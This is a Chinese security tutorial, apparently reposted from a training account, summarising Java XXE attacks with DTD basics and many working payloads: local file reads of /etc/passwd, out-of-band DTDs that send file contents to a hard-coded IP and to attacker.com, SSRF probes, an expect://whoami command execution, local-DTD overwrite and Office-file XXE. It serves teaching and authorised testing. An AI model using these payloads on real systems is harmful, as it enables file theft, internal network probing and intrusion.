JAVA XXE 学习总结

admin 2025年1月6日19:06:30评论7 views字数 6729阅读22分25秒阅读模式
本文由掌控安全学院 -  yusi 投稿

JAVA XXE 学习总结

XML 基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明--><?xml version="1.0"?><!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>

xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。

DTD

DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。

DTD 又分为外部 DTD 和内部 DTD,

    内部 DTD:直接嵌套在 XML 文档内部。
    外部 DTD:储存在单独文档中,通过声明引用。
内部 DTD demo
<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>John</to><from>Jane</from><heading>Reminder</heading><body>Don't forget our meeting at 3 PM!</body></note>
外部 DTD demo
<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
通过文档声明引用,
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>John</to><from>Jane</from><heading>Reminder</heading><body>Don't forget our meeting at 3 PM!</body></note>
java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。
因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。
SYSTEM 定义
<!DOCTYPE name SYSTEM "address.dtd" [...]>
system 属性可以是 dtd 也可以是 url 链接,
PUBLIC 定义
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">

XXE 原理介绍

XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,
一般使用的就是外部实体,实列
<!ENTITY name SYSTEM "URI/URL">
实体还可以分为参数实体,其可以通过 % 或 & 进行引用,正是因为这些条件才使得我们能够进行实体注入。

XXE 攻击

不同平台支持的 xxe 协议
libxml2
PHP
Java
.NET
file
file
file
file
http
http
https
http
ftp
ftp
ftp
https
php
file
ftp
compress.zlib
jar
compress.bzip2
netdoc
data
mailto
glob
gopher*
phar

任意文件读取

DOMXML
package org.example;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Document;publicclass DOMXML {publicstaticvoid main(String[] args){try{DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance();DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();Document document = documentBuilder.parse("D:\JavaLearn\test\src\main\java\test.xml");String textContent = document.getDocumentElement().getTextContent();System.out.println(textContent);}catch(Exception e){ e.printStackTrace();}}}
test.xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt">]><root>&xxe;</root>
java 中 file 协议还有列目录的功能(php 中则不行)
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/">]><root>&xxe;</root>
JAVA XXE 学习总结

img
netdoc 协议和 file 协议功能一样

OOB XXE

用于没有回显进行外带数据,
DOMXML
package org.example;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Document;publicclass DOMXML {publicstaticvoid main(String[] args){try{DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance();DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();Document document = documentBuilder.parse("D:\JavaLearn\test\src\main\java\test.xml");String textContent = document.getDocumentElement().getTextContent();System.out.println(textContent);}catch(Exception e){ e.printStackTrace();}}}
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
test.xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec[ <!ENTITY % include SYSTEM "./test.dtd" >%include;%define_http;%send_http;]><books></books>
这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file 内容,% 就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
或者
<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用
JAVA XXE 学习总结

img

SSRF

可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://192.168.116.1:90/" >]><xxe>&url;</xxe>

RCE

expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [ <!ENTITY url SYSTEM "expect://whoami" >]><xxe>&url;</xxe>

基于报错回显

感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。
test.xml
<?xml version="1.0"?><!DOCTYPE message [<!ENTITY % ext SYSTEM "http://attacker.com/test.dtd">%ext;]><message></message>
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">%eval;%error;
JAVA XXE 学习总结

img

利用本地 DTD 来利用盲目 XXE

看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file 的内容。
那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。
比如本地存在 test.dtd:
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>
那么可以构建 payload
<?xml version="1.0"?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file://test.dtd"><!ENTITY % condition 'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'>%local_dtd;]><message>any text</message>
重新定义了 condition 参数的值会进行覆盖
'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'
类比原本的 dtd 变为
<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb"><!ELEMENT pattern (aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb)>
这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。
JAVA XXE 学习总结

img
参考:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

通过修改内容类型进行 XXE 攻击

正常的 post 请求
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length:7foo=bar
有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于
POST /action HTTP/1.0Content-Type: application/xmlContent-Length:52<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果存在就可以进行 xxe 攻击
POST /action HTTP/1.1Content-Type: application/xml Content-Length:288<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root></root><search>name</search><value>&xxe;</value></root>

Excel文件导致XXE

excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压
JAVA XXE 学习总结

img
看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://DNSLOG/" >]><xxe>&url;</xxe>
当然这种是只有老版本的 xml 解析器才会有的洞了。
参考:https://xz.aliyun.com/t/14670
参考:https://forum.butian.net/share/2573
参考:https://www.cnblogs.com/LittleHann/p/17776458.html
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JAVA XXE 学习总结

 

原文始发于微信公众号(掌控安全EDU):JAVA XXE 学习总结

 


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日19:06:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA XXE 学习总结https://cn-sec.com/archives/3596608.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息